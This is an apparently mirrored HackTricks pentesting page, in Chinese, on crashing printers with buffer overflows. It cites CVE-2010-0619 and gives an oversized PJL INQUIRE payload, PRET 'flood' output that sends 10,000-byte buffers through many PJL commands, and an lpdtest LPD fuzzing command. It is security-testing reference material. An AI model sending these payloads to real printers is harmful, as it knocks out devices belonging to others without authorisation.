mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
74 lines
5.2 KiB
Markdown
74 lines
5.2 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
# PJL
|
||
|
||
当将大约1,000个字符作为INQUIRE参数发送给_Lexmark_激光打印机时，会导致其崩溃（参见[CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)）。将大约3,000个字符作为SET参数发送给_Dell 1720n_会导致设备崩溃：
|
||
```
|
||
@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…
|
||
```
|
||
您可以使用[**PRET**](https://github.com/RUB-NDS/PRET)来检查缓冲区溢出：
|
||
```bash
|
||
./pret.py -q printer pjl
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> flood
|
||
Buffer size: 10000, Sending: @PJL SET [buffer]
|
||
Buffer size: 10000, Sending: @PJL [buffer]
|
||
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
|
||
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
|
||
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL INFO [buffer]
|
||
Buffer size: 10000, Sending: @PJL ECHO [buffer]
|
||
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
|
||
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
|
||
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
|
||
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
|
||
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
|
||
```
|
||
# LPD守护进程
|
||
|
||
它允许多个用户定义的向量，如_jobname，username或hostname_，这些向量可能**没有足够的保护。已经发现了与此故障相关的几个漏洞。
|
||
|
||
可以使用[PETT](https://github.com/RUB-NDS/PRET)中包含的`lpdtest`工具创建一个简单的**LPD模糊器**，用于测试缓冲区溢出。`in`参数将LPD协议定义的所有用户输入设置为某个值（在本例中为Python输出）：
|
||
```bash
|
||
./lpdtest.py printer in "`python -c 'print "x"*150'`"
|
||
```
|
||
**你可以在** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer\_overflows) **找到更多关于这些攻击的信息**
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|